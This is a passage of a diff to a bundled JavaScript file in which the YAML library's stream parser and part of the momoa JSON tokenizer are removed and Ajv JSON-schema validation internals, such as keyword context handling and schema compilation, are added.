it2.errSchemaPath; + msg += ` at "${schemaPath}" (strictTypes)`; + (0, util_1.checkStrictMode)(it2, msg, it2.opts.strictTypes); + } + var KeywordCxt = class { + constructor(it2, def, keyword) { + (0, keyword_1.validateKeywordUsage)(it2, def, keyword); + this.gen = it2.gen; + this.allErrors = it2.allErrors; + this.keyword = keyword; + this.data = it2.data; + this.schema = it2.schema[keyword]; + this.$data = def.$data && it2.opts.$data && this.schema && this.schema.$data; + this.schemaValue = (0, util_1.schemaRefOrVal)(it2, this.schema, keyword, this.$data); + this.schemaType = def.schemaType; + this.parentSchema = it2.schema; + this.params = {}; + this.it = it2; + this.def = def; + if (this.$data) { + this.schemaCode = it2.gen.const("vSchema", getData2(this.$data, it2)); } else { - this.type = type3; - yield* this.step(); - switch (type3) { - case "newline": - this.atNewLine = true; - this.indent = 0; - if (this.onNewLine) - this.onNewLine(this.offset + source.length); - break; - case "space": - if (this.atNewLine && source[0] === " ") - this.indent += source.length; - break; - case "explicit-key-ind": - case "map-value-ind": - case "seq-item-ind": - if (this.atNewLine) - this.indent += source.length; - break; - case "doc-mode": - case "flow-error-end": - return; - default: - this.atNewLine = false; + this.schemaCode = this.schemaValue; + if (!(0, keyword_1.validSchemaType)(this.schema, def.schemaType, def.allowUndefined)) { + throw new Error(`${keyword} value must be ${JSON.stringify(def.schemaType)}`); } - this.offset += source.length; + } + if ("code" in def ? def.trackErrors : def.errors !== false) { + this.errsCount = it2.gen.const("_errs", names_1.default.errors); } } - /** Call at end of input to push out any remaining constructions */ - *end() { - while (this.stack.length > 0) - yield* this.pop(); + result(condition, successAction, failAction) { + this.failResult((0, codegen_1.not)(condition), successAction, failAction); } - get sourceToken() { - const st2 = { - type: this.type, - offset: this.offset, - indent: this.indent, - source: this.source - }; - return st2; + failResult(condition, successAction, failAction) { + this.gen.if(condition); + if (failAction) + failAction(); + else + this.error(); + if (successAction) { + this.gen.else(); + successAction(); + if (this.allErrors) + this.gen.endIf(); + } else { + if (this.allErrors) + this.gen.endIf(); + else + this.gen.else(); + } } - *step() { - const top = this.peek(1); - if (this.type === "doc-end" && (!top || top.type !== "doc-end")) { - while (this.stack.length > 0) - yield* this.pop(); - this.stack.push({ - type: "doc-end", - offset: this.offset, - source: this.source - }); + pass(condition, failAction) { + this.failResult((0, codegen_1.not)(condition), void 0, failAction); + } + fail(condition) { + if (condition === void 0) { + this.error(); + if (!this.allErrors) + this.gen.if(false); return; } - if (!top) - return yield* this.stream(); - switch (top.type) { - case "document": - return yield* this.document(top); - case "alias": - case "scalar": - case "single-quoted-scalar": - case "double-quoted-scalar": - return yield* this.scalar(top); - case "block-scalar": - return yield* this.blockScalar(top); - case "block-map": - return yield* this.blockMap(top); - case "block-seq": - return yield* this.blockSequence(top); - case "flow-collection": - return yield* this.flowCollection(top); - case "doc-end": - return yield* this.documentEnd(top); - } - yield* this.pop(); + this.gen.if(condition); + this.error(); + if (this.allErrors) + this.gen.endIf(); + else + this.gen.else(); } - peek(n7) { - return this.stack[this.stack.length - n7]; + fail$data(condition) { + if (!this.$data) + return this.fail(condition); + const { schemaCode } = this; + this.fail((0, codegen_1._)`${schemaCode} !== undefined && (${(0, codegen_1.or)(this.invalid$data(), condition)})`); } - *pop(error2) { - const token = error2 ?? this.stack.pop(); - if (!token) { - const message = "Tried to pop an empty stack"; - yield { type: "error", offset: this.offset, source: "", message }; - } else if (this.stack.length === 0) { - yield token; - } else { - const top = this.peek(1); - if (token.type === "block-scalar") { - token.indent = "indent" in top ? top.indent : 0; - } else if (token.type === "flow-collection" && top.type === "document") { - token.indent = 0; - } - if (token.type === "flow-collection") - fixFlowSeqItems(token); - switch (top.type) { - case "document": - top.value = token; - break; - case "block-scalar": - top.props.push(token); - break; - case "block-map": { - const it2 = top.items[top.items.length - 1]; - if (it2.value) { - top.items.push({ start: [], key: token, sep: [] }); - this.onKeyLine = true; - return; - } else if (it2.sep) { - it2.value = token; - } else { - Object.assign(it2, { key: token, sep: [] }); - this.onKeyLine = !it2.explicitKey; - return; - } - break; - } - case "block-seq": { - const it2 = top.items[top.items.length - 1]; - if (it2.value) - top.items.push({ start: [], value: token }); - else - it2.value = token; - break; - } - case "flow-collection": { - const it2 = top.items[top.items.length - 1]; - if (!it2 || it2.value) - top.items.push({ start: [], key: token, sep: [] }); - else if (it2.sep) - it2.value = token; - else - Object.assign(it2, { key: token, sep: [] }); - return; - } - default: - yield* this.pop(); - yield* this.pop(token); - } - if ((top.type === "document" || top.type === "block-map" || top.type === "block-seq") && (token.type === "block-map" || token.type === "block-seq")) { - const last2 = token.items[token.items.length - 1]; - if (last2 && !last2.sep && !last2.value && last2.start.length > 0 && findNonEmptyIndex(last2.start) === -1 && (token.indent === 0 || last2.start.every((st2) => st2.type !== "comment" || st2.indent < token.indent))) { - if (top.type === "document") - top.end = last2.start; - else - top.items.push({ start: last2.start }); - token.items.splice(-1, 1); - } - } + error(append, errorParams, errorPaths) { + if (errorParams) { + this.setParams(errorParams); + this._error(append, errorPaths); + this.setParams({}); + return; } + this._error(append, errorPaths); } - *stream() { - switch (this.type) { - case "directive-line": - yield { type: "directive", offset: this.offset, source: this.source }; - return; - case "byte-order-mark": - case "space": - case "comment": - case "newline": - yield this.sourceToken; - return; - case "doc-mode": - case "doc-start": { - const doc = { - type: "document", - offset: this.offset, - start: [] - }; - if (this.type === "doc-start") - doc.start.push(this.sourceToken); - this.stack.push(doc); - return; - } - } - yield { - type: "error", - offset: this.offset, - message: `Unexpected ${this.type} token in YAML stream`, - source: this.source - }; + _error(append, errorPaths) { + ; + (append ? errors_1.reportExtraError : errors_1.reportError)(this, this.def.error, errorPaths); } - *document(doc) { - if (doc.value) - return yield* this.lineEnd(doc); - switch (this.type) { - case "doc-start": { - if (findNonEmptyIndex(doc.start) !== -1) { - yield* this.pop(); - yield* this.step(); - } else - doc.start.push(this.sourceToken); - return; - } - case "anchor": - case "tag": - case "space": - case "comment": - case "newline": - doc.start.push(this.sourceToken); - return; - } - const bv = this.startBlockValue(doc); - if (bv) - this.stack.push(bv); - else { - yield { - type: "error", - offset: this.offset, - message: `Unexpected ${this.type} token in YAML document`, - source: this.source - }; - } - } - *scalar(scalar) { - if (this.type === "map-value-ind") { - const prev = getPrevProps(this.peek(2)); - const start = getFirstKeyStartProps(prev); - let sep2; - if (scalar.end) { - sep2 = scalar.end; - sep2.push(this.sourceToken); - delete scalar.end; - } else - sep2 = [this.sourceToken]; - const map4 = { - type: "block-map", - offset: scalar.offset, - indent: scalar.indent, - items: [{ start, key: scalar, sep: sep2 }] - }; - this.onKeyLine = true; - this.stack[this.stack.length - 1] = map4; - } else - yield* this.lineEnd(scalar); + $dataError() { + (0, errors_1.reportError)(this, this.def.$dataError || errors_1.keyword$DataError); } - *blockScalar(scalar) { - switch (this.type) { - case "space": - case "comment": - case "newline": - scalar.props.push(this.sourceToken); - return; - case "scalar": - scalar.source = this.source; - this.atNewLine = true; - this.indent = 0; - if (this.onNewLine) { - let nl = this.source.indexOf("\n") + 1; - while (nl !== 0) { - this.onNewLine(this.offset + nl); - nl = this.source.indexOf("\n", nl) + 1; - } - } - yield* this.pop(); - break; - default: - yield* this.pop(); - yield* this.step(); - } + reset() { + if (this.errsCount === void 0) + throw new Error('add "trackErrors" to keyword definition'); + (0, errors_1.resetErrorsCount)(this.gen, this.errsCount); } - *blockMap(map4) { - const it2 = map4.items[map4.items.length - 1]; - switch (this.type) { - case "newline": - this.onKeyLine = false; - if (it2.value) { - const end = "end" in it2.value ? it2.value.end : void 0; - const last2 = Array.isArray(end) ? end[end.length - 1] : void 0; - if (last2?.type === "comment") - end?.push(this.sourceToken); - else - map4.items.push({ start: [this.sourceToken] }); - } else if (it2.sep) { - it2.sep.push(this.sourceToken); - } else { - it2.start.push(this.sourceToken); - } - return; - case "space": - case "comment": - if (it2.value) { - map4.items.push({ start: [this.sourceToken] }); - } else if (it2.sep) { - it2.sep.push(this.sourceToken); - } else { - if (this.atIndentedComment(it2.start, map4.indent)) { - const prev = map4.items[map4.items.length - 2]; - const end = prev?.value?.end; - if (Array.isArray(end)) { - Array.prototype.push.apply(end, it2.start); - end.push(this.sourceToken); - map4.items.pop(); - return; - } - } - it2.start.push(this.sourceToken); - } - return; - } - if (this.indent >= map4.indent) { - const atMapIndent = !this.onKeyLine && this.indent === map4.indent; - const atNextItem = atMapIndent && (it2.sep || it2.explicitKey) && this.type !== "seq-item-ind"; - let start = []; - if (atNextItem && it2.sep && !it2.value) { - const nl = []; - for (let i7 = 0; i7 < it2.sep.length; ++i7) { - const st2 = it2.sep[i7]; - switch (st2.type) { - case "newline": - nl.push(i7); - break; - case "space": - break; - case "comment": - if (st2.indent > map4.indent) - nl.length = 0; - break; - default: - nl.length = 0; - } - } - if (nl.length >= 2) - start = it2.sep.splice(nl[1]); - } - switch (this.type) { - case "anchor": - case "tag": - if (atNextItem || it2.value) { - start.push(this.sourceToken); - map4.items.push({ start }); - this.onKeyLine = true; - } else if (it2.sep) { - it2.sep.push(this.sourceToken); - } else { - it2.start.push(this.sourceToken); - } - return; - case "explicit-key-ind": - if (!it2.sep && !it2.explicitKey) { - it2.start.push(this.sourceToken); - it2.explicitKey = true; - } else if (atNextItem || it2.value) { - start.push(this.sourceToken); - map4.items.push({ start, explicitKey: true }); - } else { - this.stack.push({ - type: "block-map", - offset: this.offset, - indent: this.indent, - items: [{ start: [this.sourceToken], explicitKey: true }] - }); - } - this.onKeyLine = true; - return; - case "map-value-ind": - if (it2.explicitKey) { - if (!it2.sep) { - if (includesToken(it2.start, "newline")) { - Object.assign(it2, { key: null, sep: [this.sourceToken] }); - } else { - const start2 = getFirstKeyStartProps(it2.start); - this.stack.push({ - type: "block-map", - offset: this.offset, - indent: this.indent, - items: [{ start: start2, key: null, sep: [this.sourceToken] }] - }); - } - } else if (it2.value) { - map4.items.push({ start: [], key: null, sep: [this.sourceToken] }); - } else if (includesToken(it2.sep, "map-value-ind")) { - this.stack.push({ - type: "block-map", - offset: this.offset, - indent: this.indent, - items: [{ start, key: null, sep: [this.sourceToken] }] - }); - } else if (isFlowToken(it2.key) && !includesToken(it2.sep, "newline")) { - const start2 = getFirstKeyStartProps(it2.start); - const key = it2.key; - const sep2 = it2.sep; - sep2.push(this.sourceToken); - delete it2.key; - delete it2.sep; - this.stack.push({ - type: "block-map", - offset: this.offset, - indent: this.indent, - items: [{ start: start2, key, sep: sep2 }] - }); - } else if (start.length > 0) { - it2.sep = it2.sep.concat(start, this.sourceToken); - } else { - it2.sep.push(this.sourceToken); - } - } else { - if (!it2.sep) { - Object.assign(it2, { key: null, sep: [this.sourceToken] }); - } else if (it2.value || atNextItem) { - map4.items.push({ start, key: null, sep: [this.sourceToken] }); - } else if (includesToken(it2.sep, "map-value-ind")) { - this.stack.push({ - type: "block-map", - offset: this.offset, - indent: this.indent, - items: [{ start: [], key: null, sep: [this.sourceToken] }] - }); - } else { - it2.sep.push(this.sourceToken); - } - } - this.onKeyLine = true; - return; - case "alias": - case "scalar": - case "single-quoted-scalar": - case "double-quoted-scalar": { - const fs = this.flowScalar(this.type); - if (atNextItem || it2.value) { - map4.items.push({ start, key: fs, sep: [] }); - this.onKeyLine = true; - } else if (it2.sep) { - this.stack.push(fs); - } else { - Object.assign(it2, { key: fs, sep: [] }); - this.onKeyLine = true; - } - return; - } - default: { - const bv = this.startBlockValue(map4); - if (bv) { - if (bv.type === "block-seq") { - if (!it2.explicitKey && it2.sep && !includesToken(it2.sep, "newline")) { - yield* this.pop({ - type: "error", - offset: this.offset, - message: "Unexpected block-seq-ind on same line with key", - source: this.source - }); - return; - } - } else if (atMapIndent) { - map4.items.push({ start }); - } - this.stack.push(bv); - return; - } - } - } - } - yield* this.pop(); - yield* this.step(); + ok(cond2) { + if (!this.allErrors) + this.gen.if(cond2); } - *blockSequence(seq3) { - const it2 = seq3.items[seq3.items.length - 1]; - switch (this.type) { - case "newline": - if (it2.value) { - const end = "end" in it2.value ? it2.value.end : void 0; - const last2 = Array.isArray(end) ? end[end.length - 1] : void 0; - if (last2?.type === "comment") - end?.push(this.sourceToken); - else - seq3.items.push({ start: [this.sourceToken] }); - } else - it2.start.push(this.sourceToken); - return; - case "space": - case "comment": - if (it2.value) - seq3.items.push({ start: [this.sourceToken] }); - else { - if (this.atIndentedComment(it2.start, seq3.indent)) { - const prev = seq3.items[seq3.items.length - 2]; - const end = prev?.value?.end; - if (Array.isArray(end)) { - Array.prototype.push.apply(end, it2.start); - end.push(this.sourceToken); - seq3.items.pop(); - return; - } - } - it2.start.push(this.sourceToken); - } - return; - case "anchor": - case "tag": - if (it2.value || this.indent <= seq3.indent) - break; - it2.start.push(this.sourceToken); - return; - case "seq-item-ind": - if (this.indent !== seq3.indent) - break; - if (it2.value || includesToken(it2.start, "seq-item-ind")) - seq3.items.push({ start: [this.sourceToken] }); - else - it2.start.push(this.sourceToken); - return; - } - if (this.indent > seq3.indent) { - const bv = this.startBlockValue(seq3); - if (bv) { - this.stack.push(bv); - return; - } + setParams(obj, assign3) { + if (assign3) + Object.assign(this.params, obj); + else + this.params = obj; + } + block$data(valid, codeBlock, $dataValid = codegen_1.nil) { + this.gen.block(() => { + this.check$data(valid, $dataValid); + codeBlock(); + }); + } + check$data(valid = codegen_1.nil, $dataValid = codegen_1.nil) { + if (!this.$data) + return; + const { gen, schemaCode, schemaType, def } = this; + gen.if((0, codegen_1.or)((0, codegen_1._)`${schemaCode} === undefined`, $dataValid)); + if (valid !== codegen_1.nil) + gen.assign(valid, true); + if (schemaType.length || def.validateSchema) { + gen.elseIf(this.invalid$data()); + this.$dataError(); + if (valid !== codegen_1.nil) + gen.assign(valid, false); } - yield* this.pop(); - yield* this.step(); + gen.else(); } - *flowCollection(fc) { - const it2 = fc.items[fc.items.length - 1]; - if (this.type === "flow-error-end") { - let top; - do { - yield* this.pop(); - top = this.peek(1); - } while (top && top.type === "flow-collection"); - } else if (fc.end.length === 0) { - switch (this.type) { - case "comma": - case "explicit-key-ind": - if (!it2 || it2.sep) - fc.items.push({ start: [this.sourceToken] }); - else - it2.start.push(this.sourceToken); - return; - case "map-value-ind": - if (!it2 || it2.value) - fc.items.push({ start: [], key: null, sep: [this.sourceToken] }); - else if (it2.sep) - it2.sep.push(this.sourceToken); - else - Object.assign(it2, { key: null, sep: [this.sourceToken] }); - return; - case "space": - case "comment": - case "newline": - case "anchor": - case "tag": - if (!it2 || it2.value) - fc.items.push({ start: [this.sourceToken] }); - else if (it2.sep) - it2.sep.push(this.sourceToken); - else - it2.start.push(this.sourceToken); - return; - case "alias": - case "scalar": - case "single-quoted-scalar": - case "double-quoted-scalar": { - const fs = this.flowScalar(this.type); - if (!it2 || it2.value) - fc.items.push({ start: [], key: fs, sep: [] }); - else if (it2.sep) - this.stack.push(fs); - else - Object.assign(it2, { key: fs, sep: [] }); - return; - } - case "flow-map-end": - case "flow-seq-end": - fc.end.push(this.sourceToken); - return; + invalid$data() { + const { gen, schemaCode, schemaType, def, it: it2 } = this; + return (0, codegen_1.or)(wrong$DataType(), invalid$DataSchema()); + function wrong$DataType() { + if (schemaType.length) { + if (!(schemaCode instanceof codegen_1.Name)) + throw new Error("ajv implementation error"); + const st2 = Array.isArray(schemaType) ? schemaType : [schemaType]; + return (0, codegen_1._)`${(0, dataType_2.checkDataTypes)(st2, schemaCode, it2.opts.strictNumbers, dataType_2.DataType.Wrong)}`; } - const bv = this.startBlockValue(fc); - if (bv) - this.stack.push(bv); - else { - yield* this.pop(); - yield* this.step(); - } - } else { - const parent2 = this.peek(2); - if (parent2.type === "block-map" && (this.type === "map-value-ind" && parent2.indent === fc.indent || this.type === "newline" && !parent2.items[parent2.items.length - 1].sep)) { - yield* this.pop(); - yield* this.step(); - } else if (this.type === "map-value-ind" && parent2.type !== "flow-collection") { - const prev = getPrevProps(parent2); - const start = getFirstKeyStartProps(prev); - fixFlowSeqItems(fc); - const sep2 = fc.end.splice(1, fc.end.length); - sep2.push(this.sourceToken); - const map4 = { - type: "block-map", - offset: fc.offset, - indent: fc.indent, - items: [{ start, key: fc, sep: sep2 }] - }; - this.onKeyLine = true; - this.stack[this.stack.length - 1] = map4; - } else { - yield* this.lineEnd(fc); + return codegen_1.nil; + } + function invalid$DataSchema() { + if (def.validateSchema) { + const validateSchemaRef = gen.scopeValue("validate$data", { ref: def.validateSchema }); + return (0, codegen_1._)`!${validateSchemaRef}(${schemaCode})`; } + return codegen_1.nil; } } - flowScalar(type3) { - if (this.onNewLine) { - let nl = this.source.indexOf("\n") + 1; - while (nl !== 0) { - this.onNewLine(this.offset + nl); - nl = this.source.indexOf("\n", nl) + 1; - } + subschema(appl, valid) { + const subschema = (0, subschema_1.getSubschema)(this.it, appl); + (0, subschema_1.extendSubschemaData)(subschema, this.it, appl); + (0, subschema_1.extendSubschemaMode)(subschema, appl); + const nextContext = { ...this.it, ...subschema, items: void 0, props: void 0 }; + subschemaCode(nextContext, valid); + return nextContext; + } + mergeEvaluated(schemaCxt, toName) { + const { it: it2, gen } = this; + if (!it2.opts.unevaluated) + return; + if (it2.props !== true && schemaCxt.props !== void 0) { + it2.props = util_1.mergeEvaluated.props(gen, schemaCxt.props, it2.props, toName); + } + if (it2.items !== true && schemaCxt.items !== void 0) { + it2.items = util_1.mergeEvaluated.items(gen, schemaCxt.items, it2.items, toName); } - return { - type: type3, - offset: this.offset, - indent: this.indent, - source: this.source - }; } - startBlockValue(parent2) { - switch (this.type) { - case "alias": - case "scalar": - case "single-quoted-scalar": - case "double-quoted-scalar": - return this.flowScalar(this.type); - case "block-scalar-header": - return { - type: "block-scalar", - offset: this.offset, - indent: this.indent, - props: [this.sourceToken], - source: "" - }; - case "flow-map-start": - case "flow-seq-start": - return { - type: "flow-collection", - offset: this.offset, - indent: this.indent, - start: this.sourceToken, - items: [], - end: [] - }; - case "seq-item-ind": - return { - type: "block-seq", - offset: this.offset, - indent: this.indent, - items: [{ start: [this.sourceToken] }] - }; - case "explicit-key-ind": { - this.onKeyLine = true; - const prev = getPrevProps(parent2); - const start = getFirstKeyStartProps(prev); - start.push(this.sourceToken); - return { - type: "block-map", - offset: this.offset, - indent: this.indent, - items: [{ start, explicitKey: true }] - }; - } - case "map-value-ind": { - this.onKeyLine = true; - const prev = getPrevProps(parent2); - const start = getFirstKeyStartProps(prev); - return { - type: "block-map", - offset: this.offset, - indent: this.indent, - items: [{ start, key: null, sep: [this.sourceToken] }] - }; - } + mergeValidEvaluated(schemaCxt, valid) { + const { it: it2, gen } = this; + if (it2.opts.unevaluated && (it2.props !== true || it2.items !== true)) { + gen.if(valid, () => this.mergeEvaluated(schemaCxt, codegen_1.Name)); + return true; } - return null; } - atIndentedComment(start, indent) { - if (this.type !== "comment") - return false; - if (this.indent <= indent) - return false; - return start.every((st2) => st2.type === "newline" || st2.type === "space"); + }; + exports28.KeywordCxt = KeywordCxt; + function keywordCode(it2, keyword, def, ruleType) { + const cxt = new KeywordCxt(it2, def, keyword); + if ("code" in def) { + def.code(cxt, ruleType); + } else if (cxt.$data && def.validate) { + (0, keyword_1.funcKeywordCode)(cxt, def); + } else if ("macro" in def) { + (0, keyword_1.macroKeywordCode)(cxt, def); + } else if (def.compile || def.validate) { + (0, keyword_1.funcKeywordCode)(cxt, def); } - *documentEnd(docEnd) { - if (this.type !== "doc-mode") { - if (docEnd.end) - docEnd.end.push(this.sourceToken); - else - docEnd.end = [this.sourceToken]; - if (this.type === "newline") - yield* this.pop(); + } + var JSON_POINTER = /^\/(?:[^~]|~0|~1)*$/; + var RELATIVE_JSON_POINTER = /^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/; + function getData2($data, { dataLevel, dataNames, dataPathArr }) { + let jsonPointer; + let data; + if ($data === "") + return names_1.default.rootData; + if ($data[0] === "/") { + if (!JSON_POINTER.test($data)) + throw new Error(`Invalid JSON-pointer: ${$data}`); + jsonPointer = $data; + data = names_1.default.rootData; + } else { + const matches2 = RELATIVE_JSON_POINTER.exec($data); + if (!matches2) + throw new Error(`Invalid JSON-pointer: ${$data}`); + const up = +matches2[1]; + jsonPointer = matches2[2]; + if (jsonPointer === "#") { + if (up >= dataLevel) + throw new Error(errorMsg("property/index", up)); + return dataPathArr[dataLevel - up]; } + if (up > dataLevel) + throw new Error(errorMsg("data", up)); + data = dataNames[dataLevel - up]; + if (!jsonPointer) + return data; } - *lineEnd(token) { - switch (this.type) { - case "comma": - case "doc-start": - case "doc-end": - case "flow-seq-end": - case "flow-map-end": - case "map-value-ind": - yield* this.pop(); - yield* this.step(); - break; - case "newline": - this.onKeyLine = false; - case "space": - case "comment": - default: - if (token.end) - token.end.push(this.sourceToken); - else - token.end = [this.sourceToken]; - if (this.type === "newline") - yield* this.pop(); + let expr = data; + const segments = jsonPointer.split("/"); + for (const segment of segments) { + if (segment) { + data = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)((0, util_1.unescapeJsonPointer)(segment))}`; + expr = (0, codegen_1._)`${expr} && ${data}`; } } - }; - } -}); - -// node_modules/yaml/browser/dist/public-api.js -function parseOptions(options) { - const prettyErrors = options.prettyErrors !== false; - const lineCounter = options.lineCounter || prettyErrors && new LineCounter() || null; - return { lineCounter, prettyErrors }; -} -function parseDocument(source, options = {}) { - const { lineCounter, prettyErrors } = parseOptions(options); - const parser3 = new Parser(lineCounter?.addNewLine); - const composer = new Composer(options); - let doc = null; - for (const _doc of composer.compose(parser3.parse(source), true, source.length)) { - if (!doc) - doc = _doc; - else if (doc.options.logLevel !== "silent") { - doc.errors.push(new YAMLParseError(_doc.range.slice(0, 2), "MULTIPLE_DOCS", "Source contains multiple documents; please use YAML.parseAllDocuments()")); - break; + return expr; + function errorMsg(pointerType, up) { + return `Cannot access ${pointerType} ${up} levels up, current level is ${dataLevel}`; + } } - } - if (prettyErrors && lineCounter) { - doc.errors.forEach(prettifyError(source, lineCounter)); - doc.warnings.forEach(prettifyError(source, lineCounter)); - } - return doc; -} -function parse(src, reviver, options) { - let _reviver = void 0; - if (typeof reviver === "function") { - _reviver = reviver; - } else if (options === void 0 && reviver && typeof reviver === "object") { - options = reviver; - } - const doc = parseDocument(src, options); - if (!doc) - return null; - doc.warnings.forEach((warning) => warn(doc.options.logLevel, warning)); - if (doc.errors.length > 0) { - if (doc.options.logLevel !== "silent") - throw doc.errors[0]; - else - doc.errors = []; - } - return doc.toJS(Object.assign({ reviver: _reviver }, options)); -} -var init_public_api = __esm({ - "node_modules/yaml/browser/dist/public-api.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_composer(); - init_Document(); - init_errors(); - init_log(); - init_identity(); - init_line_counter(); - init_parser(); - } -}); - -// node_modules/yaml/browser/dist/index.js -var init_dist = __esm({ - "node_modules/yaml/browser/dist/index.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_composer(); - init_Document(); - init_Schema(); - init_errors(); - init_Alias(); - init_identity(); - init_Pair(); - init_Scalar(); - init_YAMLMap(); - init_YAMLSeq(); - init_cst(); - init_lexer(); - init_line_counter(); - init_parser(); - init_public_api(); - init_visit(); + exports28.getData = getData2; } }); -// node_modules/yaml/browser/index.js -var init_browser = __esm({ - "node_modules/yaml/browser/index.js"() { +// node_modules/ajv/dist/runtime/validation_error.js +var require_validation_error = __commonJS({ + "node_modules/ajv/dist/runtime/validation_error.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_dist(); - init_dist(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var ValidationError = class extends Error { + constructor(errors) { + super("validation failed"); + this.errors = errors; + this.ajv = this.validation = true; + } + }; + exports28.default = ValidationError; } }); -// node_modules/@babel/runtime/helpers/interopRequireDefault.js -var require_interopRequireDefault = __commonJS({ - "node_modules/@babel/runtime/helpers/interopRequireDefault.js"(exports28, module5) { +// node_modules/ajv/dist/compile/ref_error.js +var require_ref_error = __commonJS({ + "node_modules/ajv/dist/compile/ref_error.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _interopRequireDefault(e10) { - return e10 && e10.__esModule ? e10 : { - "default": e10 - }; - } - module5.exports = _interopRequireDefault, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var resolve_1 = require_resolve(); + var MissingRefError = class extends Error { + constructor(resolver, baseId, ref, msg) { + super(msg || `can't resolve reference ${ref} from id ${baseId}`); + this.missingRef = (0, resolve_1.resolveUrl)(resolver, baseId, ref); + this.missingSchema = (0, resolve_1.normalizeId)((0, resolve_1.getFullPath)(resolver, this.missingRef)); + } + }; + exports28.default = MissingRefError; } }); -// node_modules/@humanwhocodes/momoa/api.js -var require_api = __commonJS({ - "node_modules/@humanwhocodes/momoa/api.js"(exports28) { +// node_modules/ajv/dist/compile/index.js +var require_compile = __commonJS({ + "node_modules/ajv/dist/compile/index.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); Object.defineProperty(exports28, "__esModule", { value: true }); - var LBRACKET = "["; - var RBRACKET = "]"; - var LBRACE = "{"; - var RBRACE = "}"; - var COLON = ":"; - var COMMA = ","; - var TRUE = "true"; - var FALSE = "false"; - var NULL = "null"; - var QUOTE = '"'; - var expectedKeywords = /* @__PURE__ */ new Map([ - ["t", TRUE], - ["f", FALSE], - ["n", NULL] - ]); - var escapeToChar = /* @__PURE__ */ new Map([ - [QUOTE, QUOTE], - ["\\", "\\"], - ["/", "/"], - ["b", "\b"], - ["n", "\n"], - ["f", "\f"], - ["r", "\r"], - ["t", " "] - ]); - var knownTokenTypes = /* @__PURE__ */ new Map([ - [LBRACKET, "Punctuator"], - [RBRACKET, "Punctuator"], - [LBRACE, "Punctuator"], - [RBRACE, "Punctuator"], - [COLON, "Punctuator"], - [COMMA, "Punctuator"], - [TRUE, "Boolean"], - [FALSE, "Boolean"], - [NULL, "Null"] - ]); - var ErrorWithLocation = class extends Error { - /** - * - * @param {string} message The error message to report. - * @param {int} loc.line The line on which the error occurred. - * @param {int} loc.column The column in the line where the error occurrred. - * @param {int} loc.index The index in the string where the error occurred. - */ - constructor(message, { line, column, index: index4 }) { - super(`${message} (${line}:${column})`); - this.line = line; - this.column = column; - this.index = index4; - } - }; - var UnexpectedChar = class extends ErrorWithLocation { - /** - * Creates a new instance. - * @param {string} unexpected The character that was found. - * @param {Object} loc The location information for the found character. - */ - constructor(unexpected, loc) { - super(`Unexpected character ${unexpected} found.`, loc); + exports28.resolveSchema = exports28.getCompilingSchema = exports28.resolveRef = exports28.compileSchema = exports28.SchemaEnv = void 0; + var codegen_1 = require_codegen(); + var validation_error_1 = require_validation_error(); + var names_1 = require_names(); + var resolve_1 = require_resolve(); + var util_1 = require_util(); + var validate_1 = require_validate(); + var SchemaEnv = class { + constructor(env3) { + var _a2; + this.refs = {}; + this.dynamicAnchors = {}; + let schema8; + if (typeof env3.schema == "object") + schema8 = env3.schema; + this.schema = env3.schema; + this.schemaId = env3.schemaId; + this.root = env3.root || this; + this.baseId = (_a2 = env3.baseId) !== null && _a2 !== void 0 ? _a2 : (0, resolve_1.normalizeId)(schema8 === null || schema8 === void 0 ? void 0 : schema8[env3.schemaId || "$id"]); + this.schemaPath = env3.schemaPath; + this.localRefs = env3.localRefs; + this.meta = env3.meta; + this.$async = schema8 === null || schema8 === void 0 ? void 0 : schema8.$async; + this.refs = {}; } }; - var UnexpectedToken = class extends ErrorWithLocation { - /** - * Creates a new instance. - * @param {string} expected The character that was expected. - * @param {string} unexpected The character that was found. - * @param {Object} loc The location information for the found character. - */ - constructor(token) { - super(`Unexpected token ${token.type}(${token.value}) found.`, token.loc.start); + exports28.SchemaEnv = SchemaEnv; + function compileSchema(sch) { + const _sch = getCompilingSchema.call(this, sch); + if (_sch) + return _sch; + const rootId = (0, resolve_1.getFullPath)(this.opts.uriResolver, sch.root.baseId); + const { es5, lines } = this.opts.code; + const { ownProperties } = this.opts; + const gen = new codegen_1.CodeGen(this.scope, { es5, lines, ownProperties }); + let _ValidationError; + if (sch.$async) { + _ValidationError = gen.scopeValue("Error", { + ref: validation_error_1.default, + code: (0, codegen_1._)`require("ajv/dist/runtime/validation_error").default` + }); } - }; - var UnexpectedEOF = class extends ErrorWithLocation { - /** - * Creates a new instance. - * @param {Object} loc The location information for the found character. - */ - constructor(loc) { - super("Unexpected end of input found.", loc); + const validateName = gen.scopeName("validate"); + sch.validateName = validateName; + const schemaCxt = { + gen, + allErrors: this.opts.allErrors, + data: names_1.default.data, + parentData: names_1.default.parentData, + parentDataProperty: names_1.default.parentDataProperty, + dataNames: [names_1.default.data], + dataPathArr: [codegen_1.nil], + // TODO can its length be used as dataLevel if nil is removed? + dataLevel: 0, + dataTypes: [], + definedProperties: /* @__PURE__ */ new Set(), + topSchemaRef: gen.scopeValue("schema", this.opts.code.source === true ? { ref: sch.schema, code: (0, codegen_1.stringify)(sch.schema) } : { ref: sch.schema }), + validateName, + ValidationError: _ValidationError, + schema: sch.schema, + schemaEnv: sch, + rootId, + baseId: sch.baseId || rootId, + schemaPath: codegen_1.nil, + errSchemaPath: sch.schemaPath || (this.opts.jtd ? "" : "#"), + errorPath: (0, codegen_1._)`""`, + opts: this.opts, + self: this + }; + let sourceCode; + try { + this._compilations.add(sch); + (0, validate_1.validateFunctionCode)(schemaCxt); + gen.optimize(this.opts.code.optimize); + const validateCode = gen.toString(); + sourceCode = `${gen.scopeRefs(names_1.default.scope)}return ${validateCode}`; + if (this.opts.code.process) + sourceCode = this.opts.code.process(sourceCode, sch); + const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); + const validate15 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate15 }); + validate15.errors = null; + validate15.schema = sch.schema; + validate15.schemaEnv = sch; + if (sch.$async) + validate15.$async = true; 